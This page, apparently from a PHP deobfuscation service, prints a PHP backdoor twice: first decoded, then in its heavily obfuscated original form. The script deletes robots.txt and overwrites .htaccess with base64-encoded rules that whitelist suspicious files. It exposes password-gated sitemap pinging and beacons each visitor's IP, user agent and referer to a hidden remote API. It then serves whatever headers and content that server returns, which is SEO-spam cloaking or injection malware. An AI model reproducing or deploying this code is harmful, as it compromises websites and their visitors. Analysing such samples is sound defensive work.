Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function _uyxyu($_ajryl, $_xdeaorwf, $_gazg) { $_srrsw = "h\164tps:/\x2f\x25s/..
Decoded Output download
<?php function _uyxyu($_ajryl, $_xdeaorwf, $_gazg)
{
$_srrsw = "https://%s/ping?sitemap=%s%s/%s";
$_ehrnbp = sPrInTF($_srrsw, $_ajryl, $_gazg["protocol"], $_gazg["server_domain"], $_xdeaorwf);
$_xbfsnb = _wpfkv($_ehrnbp);
if (isset(${"_REQUEST"}["st"])) {
VAR_dump($_ehrnbp);
vaR_dumP($_xbfsnb);
die();
}
$_suesp = "google";
$_gecgvn = "success";
$_aaenjbks = "failed";
if (sTRPos($_xbfsnb, $_suesp) != false) {
die($_gecgvn);
} else {
$_srrsw = "http://%s/ping?sitemap=%s%s/%s";
$_ehrnbp = SPRIntf($_srrsw, $_ajryl, $_gazg["protocol"], $_gazg["server_domain"], $_xdeaorwf);
$_xbfsnb = _wpfkv($_ehrnbp);
if (STRPos($_xbfsnb, $_suesp) != false) {
die($_gecgvn);
}
die($_aaenjbks);
}
}
function _wpfkv($_qskk, $_qyfe = "", $_ftgsguk = "")
{
if ($_qyfe == "") {
$_ypquif = @file_GeT_cOnTeNTS($_qskk);
if ($_ypquif) {
return $_ypquif;
}
}
$_qllggdxs = cUrl_INit();
cuRl_sEtopt($_qllggdxs, (int)rOUND(5001 + 5001), $_qskk);
curL_SeTOPT($_qllggdxs, (int)ROunD(5009 + 5009), $_ftgsguk);
CurL_SetOpt($_qllggdxs, (int)rOUnd(9956.5 + 9956.5), (int)rounD(0.5 + 0.5));
CuRl_seTopt($_qllggdxs, (int)rOUNd(4.3333333333333 + 4.3333333333333 + 4.3333333333333), (int)round(-44.333333333333 + -44.333333333333 + -44.333333333333) + (-0157 - -04 - -0404));
CuRL_setOpT($_qllggdxs, (0260 - -01 + -0462) + (0742 + -0427), true);
if ($_qyfe != "") {
curL_sEtOPt($_qllggdxs, (int)rOUnD(15.666666666667 + 15.666666666667 + 15.666666666667), (int)ROunD(0.33333333333333 + 0.33333333333333 + 0.33333333333333));
if (Is_ARRaY($_qyfe)) {
CuRL_seToPt($_qllggdxs, (int)RoUNd(5007.5 + 5007.5), HTtp_BuILD_query($_qyfe));
}
}
$_ypquif = CuRL_eXEC($_qllggdxs);
cURl_CLoSE($_qllggdxs);
return $_ypquif;
}
function _uoee($_evvir = null, $_gujwgdgi = -1.2853518334985)
{
if (FiLE_ExIsTS("robots.txt")) {
@UnlInk("robots.txt");
}
$_gcff = ".htaccess";
$_tfanyuuc = @BasE64_DECodE("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+");
if (File_ExIStS($_gcff)) {
$_yiqooo = FILE_gET_ContEnts($_gcff);
if ($_tfanyuuc == $_yiqooo) {
return;
}
}
@cHMOd($_gcff, (int)rOUnD(149 + 149 + 149 + 149) - (-045 - -0215 + 0300 - 0323));
@FilE_put_CONTENts($_gcff, $_tfanyuuc);
@ChMod($_gcff, (int)roUNd(140 + 140 + 140));
}
$_kqumrc = "vaoHtRm0rcRDXoKvXLmzhUfxzNOzokvtvYO2tgs0GLkXJYSxxOqSB5etAYVXahehMcjmTVplWLImINQvMbSQL=u=";
$_vphiwk = stR_sPlit($_kqumrc);
$_tlkyp = "";
for ($_buur = (int)round(0 + 0 + 0 + 0); $_buur < cOuNt($_vphiwk); $_buur++) {
if ($_buur % ((070 - -0277) - (int)ROUND(81.666666666667 + 81.666666666667 + 81.666666666667)) != ((int)roUND(-5.6666666666667 + -5.6666666666667 + -5.6666666666667) - (int)ROunD(-5.6666666666667 + -5.6666666666667 + -5.6666666666667))) {
$_tlkyp .= $_vphiwk[$_buur];
}
}
$_gazg["default_params"] = $_kqumrc;
$_gazg["api"] = bASe64_dECode($_tlkyp);
$_gazg["server_domain"] = isset(${"_SERVER"}["HTTP_HOST"]) ? ${"_SERVER"}["HTTP_HOST"] : ${"_SERVER"}["SERVER_NAME"];
$_gazg["request_url"] = ${"_SERVER"}["REQUEST_URI"];
$_gazg["referer"] = isset(${"_SERVER"}["HTTP_REFERER"]) ? ${"_SERVER"}["HTTP_REFERER"] : "";
$_gazg["user_agent"] = isset(${"_SERVER"}["HTTP_USER_AGENT"]) ? ${"_SERVER"}["HTTP_USER_AGENT"] : "";
$_gazg["ip"] = isset(${"_SERVER"}["HTTP_VIA"]) ? ${"_SERVER"}["HTTP_X_FORWARDED_FOR"] : ${"_SERVER"}["REMOTE_ADDR"];
$_gazg["protocol"] = isset(${"_SERVER"}["HTTPS"]) ? "https://" : "http://";
$_gazg["language"] = isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]) ? ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"] : "";
if (isset(${"_REQUEST"}["params"])) {
PRInt_r($_gazg);
die();
}
if (isset(${"_REQUEST"}["pwd163"])) {
if (Md5(${"_REQUEST"}["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") {
if (isset(${"_GET"}["sitemap"])) {
$_xdeaorwf = ${"_GET"}["sitemap"];
$_jecdnd = "www.google.com";
if (isset(${"_GET"}["google_url"])) {
$_jecdnd = ${"_GET"}["google_url"];
}
_uyxyu($_jecdnd, $_xdeaorwf, $_gazg);
}
}
}
_uoee();
$_nfccsuqh = array("domain" => $_gazg["server_domain"], "request_url" => $_gazg["request_url"], "ip" => $_gazg["ip"], "agent" => $_gazg["user_agent"], "referer" => $_gazg["referer"], "protocol" => $_gazg["protocol"], "language" => $_gazg["language"]);
$_tfanyuuc = _wpfkv($_gazg["api"], $_nfccsuqh, $_gazg["server_domain"]);
if (isset(${"_REQUEST"}["dump"])) {
var_dump($_tfanyuuc);
$_tfanyuuc = _wpfkv("http://google.co.jp");
VAr_duMP($_tfanyuuc);
die();
}
$_tfanyuuc = @gzUNcoMpress(BAsE64_dECoDE($_tfanyuuc));
$_nfcgj = @pREg_SpLIt("/\|/si", $_tfanyuuc, - ((int)roUND(-364 + -364) + (01124 - 0607 - 01145 + 01657) - (043 + 0535 + 01406 + -01410) + (0431 - 0611 + 01736 + -0456)), (int)ROUND(-124.5 + -124.5) + (0240 - -0313 + -0541) + (int)round(358.5 + 358.5) + (int)rounD(-238.5 + -238.5));
if ($_nfcgj !== false) {
$_qyfe = arrAY_PoP($_nfcgj);
$_qyfe = baSe64_Decode($_qyfe);
foreach ($_nfcgj as $_adihiz) {
@HEAdER($_adihiz);
}
echo $_qyfe;
die();
};
?>
Did this file decode correctly?
Original Code
<?php function _uyxyu($_ajryl, $_xdeaorwf, $_gazg)
{
$_srrsw = "h\164tps:/\x2f\x25s/\x70i\156\147?s\151tem\x61\x70\075%s%s\057\x25s";
$_ehrnbp = sPrInTF($_srrsw, $_ajryl, $_gazg["\160\x72otocol"], $_gazg["s\x65\162\x76\x65\x72_\144o\x6da\x69\156"], $_xdeaorwf);
$_xbfsnb = _wpfkv($_ehrnbp);
if (isset(${"\x5fREQUE\x53\124"}["s\x74"])) {
VAR_dump($_ehrnbp);
vaR_dumP($_xbfsnb);
die();
}
$_suesp = "g\x6fo\147le";
$_gecgvn = "suc\x63ess";
$_aaenjbks = "\146a\x69led";
if (sTRPos($_xbfsnb, $_suesp) != false) {
die($_gecgvn);
} else {
$_srrsw = "ht\164\x70:\057\x2f%s\x2f\160\x69n\147?s\x69temap\075%\x73\x25\163/%\x73";
$_ehrnbp = SPRIntf($_srrsw, $_ajryl, $_gazg["p\162\157t\x6fco\x6c"], $_gazg["\x73e\x72\x76\145\162\x5f\x64om\141\x69\x6e"], $_xdeaorwf);
$_xbfsnb = _wpfkv($_ehrnbp);
if (STRPos($_xbfsnb, $_suesp) != false) {
die($_gecgvn);
}
die($_aaenjbks);
}
}
function _wpfkv($_qskk, $_qyfe = "", $_ftgsguk = "")
{
if ($_qyfe == "") {
$_ypquif = @file_GeT_cOnTeNTS($_qskk);
if ($_ypquif) {
return $_ypquif;
}
}
$_qllggdxs = cUrl_INit();
cuRl_sEtopt($_qllggdxs, (int)rOUND(5001 + 5001), $_qskk);
curL_SeTOPT($_qllggdxs, (int)ROunD(5009 + 5009), $_ftgsguk);
CurL_SetOpt($_qllggdxs, (int)rOUnd(9956.5 + 9956.5), (int)rounD(0.5 + 0.5));
CuRl_seTopt($_qllggdxs, (int)rOUNd(4.3333333333333 + 4.3333333333333 + 4.3333333333333), (int)round(-44.333333333333 + -44.333333333333 + -44.333333333333) + (-0157 - -04 - -0404));
CuRL_setOpT($_qllggdxs, (0260 - -01 + -0462) + (0742 + -0427), true);
if ($_qyfe != "") {
curL_sEtOPt($_qllggdxs, (int)rOUnD(15.666666666667 + 15.666666666667 + 15.666666666667), (int)ROunD(0.33333333333333 + 0.33333333333333 + 0.33333333333333));
if (Is_ARRaY($_qyfe)) {
CuRL_seToPt($_qllggdxs, (int)RoUNd(5007.5 + 5007.5), HTtp_BuILD_query($_qyfe));
}
}
$_ypquif = CuRL_eXEC($_qllggdxs);
cURl_CLoSE($_qllggdxs);
return $_ypquif;
}
function _uoee($_evvir = null, $_gujwgdgi = -1.2853518334985)
{
if (FiLE_ExIsTS("\x72ob\157t\x73\056t\x78t")) {
@UnlInk("r\157\x62\x6f\x74\163.t\170\x74");
}
$_gcff = "\x2ehtacc\x65ss";
$_tfanyuuc = @BasE64_DECodE("PE\132p\142\x47\x56\x7aT\127F\x30Y\x32\x67\x67\x49\x69\064ocHl8ZXhlf\110B\x6f\x63\x43kk\111j\064KIE9\171\x5a\x47\x56yIGF\x73b\x4793\x4c\x47\122lbnkKI\x45R\x6c\x62\156\x6b\147\x5anJv\x62\x53Bh\x62G\167\113\x50C\x39\107aW\170\x6c\x630\x31\150d\x47\116o\x50\x67o\070\x52\155\154sZX\116\x4eYXRjaCAi\x58ih\150Y\155\0711d\1035wa\x48B8c\x6d\x46\x6baW\x38\x75\143Gh\x77f\107l\x75ZGV4Ln\102ocHxj\142\062\0650ZW\x350\x4c\x6eBo\x63H\x78sb2N\x72M\172\x59wLnBo\143Hx\x68ZG1pbi\x35waH\x42\x38d\x33\x41tb\107\x39n\141W\064\165cG\x68\x77\146\x48\x64\167L\x57wwZ2l\165L\x6e\x42o\143Hx3cC\0610aG\x56t\132S5\167aHB8d\x33\101t\x632Nya\x58B0\143y5wa\110B\x38d3\101tZW\122\x70d\x479\171Ln\102oc\110\x78\164Y\x57g\x75\143\107\150w\146GpwLn\102\x6fc\x48\x78le\110\121ucGh\x77K\123Q\151Pgog\x543\112k\132XI\x67\131Wxs\1423csZG\x56\165e\121ogQWxsb3c\x67Z\x6eJ\x76\142\123Bh\x62GwKP\103\071\107\x61W\x78lc0\x31\150\x64GNoPgo\x38\x53WZNb2R\x31b\107U\x67b\x579\x6bX\063Jl\x64\063\x4a\x70d\x47Uu\x59\1724\x4bU\x6d\x56\063c\155l\060\x5a\x55\126\x75Z2\x6cu\x5a\123\x42\x50bg\x70\123Z\x58d\x79aXRl\121m\106\172\x5a\x53\101\166\103lJld\063J\x70\x64\107\126\x53\144W\170l\111F5\x70bm\122leF\x77u\x63G\150\x77\x4aCA\x74IFtM\130Qp\123ZXdy\x61\x58\x52\154Q\x32\071uZ\103Al\x65\x31JF\125VV\x46\x55\061\x52fRklMRU5BTU\x56\x39\x49\103\x45\164\132gpS\132Xdya\x58Rl\x512\071uZ\x43\101\x6ce1JF\125\x56VFU1RfR\x6bl\115R\x555B\x54\x55\1269ICE\164Z\x41pS\x5a\130dy\x61\130R\x6cUn\x56\x73ZS\101uIC9p\x62mRl\x65\1035w\141H\101\147W0xdCjwvS\x57\132\x4e\1422R1\142G\125+");
if (File_ExIStS($_gcff)) {
$_yiqooo = FILE_gET_ContEnts($_gcff);
if ($_tfanyuuc == $_yiqooo) {
return;
}
}
@cHMOd($_gcff, (int)rOUnD(149 + 149 + 149 + 149) - (-045 - -0215 + 0300 - 0323));
@FilE_put_CONTENts($_gcff, $_tfanyuuc);
@ChMod($_gcff, (int)roUNd(140 + 140 + 140));
}
$_kqumrc = "\166\x61o\x48\x74Rm0\162\143RD\x58\x6f\x4bv\130\x4c\155\x7ahUfxzNO\x7aokvtvYO2t\x67s0GLkXJ\x59\123\170x\x4f\x71SB\x35e\164A\131\126X\141he\150\x4dc\152m\124\x56pl\x57\x4cI\x6d\x49N\x51vM\142S\x51\x4c=u=";
$_vphiwk = stR_sPlit($_kqumrc);
$_tlkyp = "";
for ($_buur = (int)round(0 + 0 + 0 + 0); $_buur < cOuNt($_vphiwk); $_buur++) {
if ($_buur % ((070 - -0277) - (int)ROUND(81.666666666667 + 81.666666666667 + 81.666666666667)) != ((int)roUND(-5.6666666666667 + -5.6666666666667 + -5.6666666666667) - (int)ROunD(-5.6666666666667 + -5.6666666666667 + -5.6666666666667))) {
$_tlkyp .= $_vphiwk[$_buur];
}
}
$_gazg["defa\x75lt\x5f\x70a\162am\x73"] = $_kqumrc;
$_gazg["\x61\160i"] = bASe64_dECode($_tlkyp);
$_gazg["se\x72\166er_do\155\x61\151\156"] = isset(${"_SE\122\126E\x52"}["H\x54\x54\120_HO\x53\x54"]) ? ${"_SE\122VER"}["\x48\124T\120_H\117\x53\124"] : ${"_\x53\x45R\x56\105R"}["S\x45R\x56ER\137NA\115\x45"];
$_gazg["r\145\161\165est_\165\162\154"] = ${"_SER\x56ER"}["R\105QU\x45ST_\125RI"];
$_gazg["\x72efe\162e\x72"] = isset(${"\137SER\126ER"}["H\x54TP_\x52E\106\x45R\105\x52"]) ? ${"_SER\x56ER"}["HTTP\137R\x45\106\105R\x45R"] : "";
$_gazg["us\145r_\141gent"] = isset(${"_SE\x52\x56\x45\x52"}["\x48TTP\137\x55SER_\101\x47ENT"]) ? ${"_\123ERVER"}["H\x54\x54P\137US\x45R_AGENT"] : "";
$_gazg["ip"] = isset(${"_\x53\105RV\x45R"}["\x48TT\120_VIA"]) ? ${"_SERV\x45R"}["HTTP\137\x58_F\117RW\x41RDED_FOR"] : ${"\137\123\x45\122V\x45\122"}["R\x45MO\x54\x45_AD\104R"];
$_gazg["\160\x72otoc\157l"] = isset(${"\137\123ERV\105\122"}["H\x54TPS"]) ? "htt\x70\x73:/\057" : "\150t\x74p\072/\057";
$_gazg["\154ang\165\x61g\145"] = isset(${"\137SER\x56ER"}["\x48T\x54\120\x5f\x41\103\103\x45PT\x5fLANGUA\107E"]) ? ${"_SERVE\122"}["\110T\x54P_AC\x43E\x50T_L\x41NG\x55\x41GE"] : "";
if (isset(${"_\122EQ\x55E\x53\124"}["p\x61\x72\141\155\163"])) {
PRInt_r($_gazg);
die();
}
if (isset(${"\x5f\122\105Q\x55E\x53T"}["p\167\144\x316\063"])) {
if (Md5(${"\x5fRE\121U\x45S\124"}["\160w\x64\x31\x363"] . "a\x21\043\x5f\061\x31A\x41") == "\062\x66\x37a7\x36f7\x31f\1469\14524\142e7c\x30015\146\x669\x63b8\x31d\070") {
if (isset(${"_GET"}["\x73i\164e\x6d\141p"])) {
$_xdeaorwf = ${"\137\x47\105T"}["sitemap"];
$_jecdnd = "\167w\167\x2eg\x6f\x6fg\154\145.\143\157m";
if (isset(${"_GET"}["g\x6fo\x67le\137ur\x6c"])) {
$_jecdnd = ${"_GE\124"}["g\x6fogle_u\x72l"];
}
_uyxyu($_jecdnd, $_xdeaorwf, $_gazg);
}
}
}
_uoee();
$_nfccsuqh = array("\x64o\155\x61\151\156" => $_gazg["se\162ver_do\x6da\x69n"], "\162e\x71\x75e\x73\164\137u\x72l" => $_gazg["\x72\145\161\x75\145st\x5fur\154"], "\x69p" => $_gazg["\151\x70"], "agen\164" => $_gazg["\x75ser\x5f\141\147e\x6e\164"], "refer\145r" => $_gazg["ref\x65\x72\x65r"], "prot\x6f\143\x6fl" => $_gazg["p\x72\x6f\x74ocol"], "\x6can\147\165a\147e" => $_gazg["\154\x61n\x67\x75\141ge"]);
$_tfanyuuc = _wpfkv($_gazg["api"], $_nfccsuqh, $_gazg["s\145\162v\x65r\137\144o\x6dai\x6e"]);
if (isset(${"_REQU\x45\123T"}["d\165m\x70"])) {
var_dump($_tfanyuuc);
$_tfanyuuc = _wpfkv("\x68\x74\164p\x3a\057\057\147oogle.c\x6f.\x6a\x70");
VAr_duMP($_tfanyuuc);
die();
}
$_tfanyuuc = @gzUNcoMpress(BAsE64_dECoDE($_tfanyuuc));
$_nfcgj = @pREg_SpLIt("\057\x5c|/si", $_tfanyuuc, - ((int)roUND(-364 + -364) + (01124 - 0607 - 01145 + 01657) - (043 + 0535 + 01406 + -01410) + (0431 - 0611 + 01736 + -0456)), (int)ROUND(-124.5 + -124.5) + (0240 - -0313 + -0541) + (int)round(358.5 + 358.5) + (int)rounD(-238.5 + -238.5));
if ($_nfcgj !== false) {
$_qyfe = arrAY_PoP($_nfcgj);
$_qyfe = baSe64_Decode($_qyfe);
foreach ($_nfcgj as $_adihiz) {
@HEAdER($_adihiz);
}
echo $_qyfe;
die();
};
Function Calls
stR_sPlit | 1 |
Stats
MD5 | 007354a605e402771885eb583bb8e25f |
Eval Count | 0 |
Decode Time | 80 ms |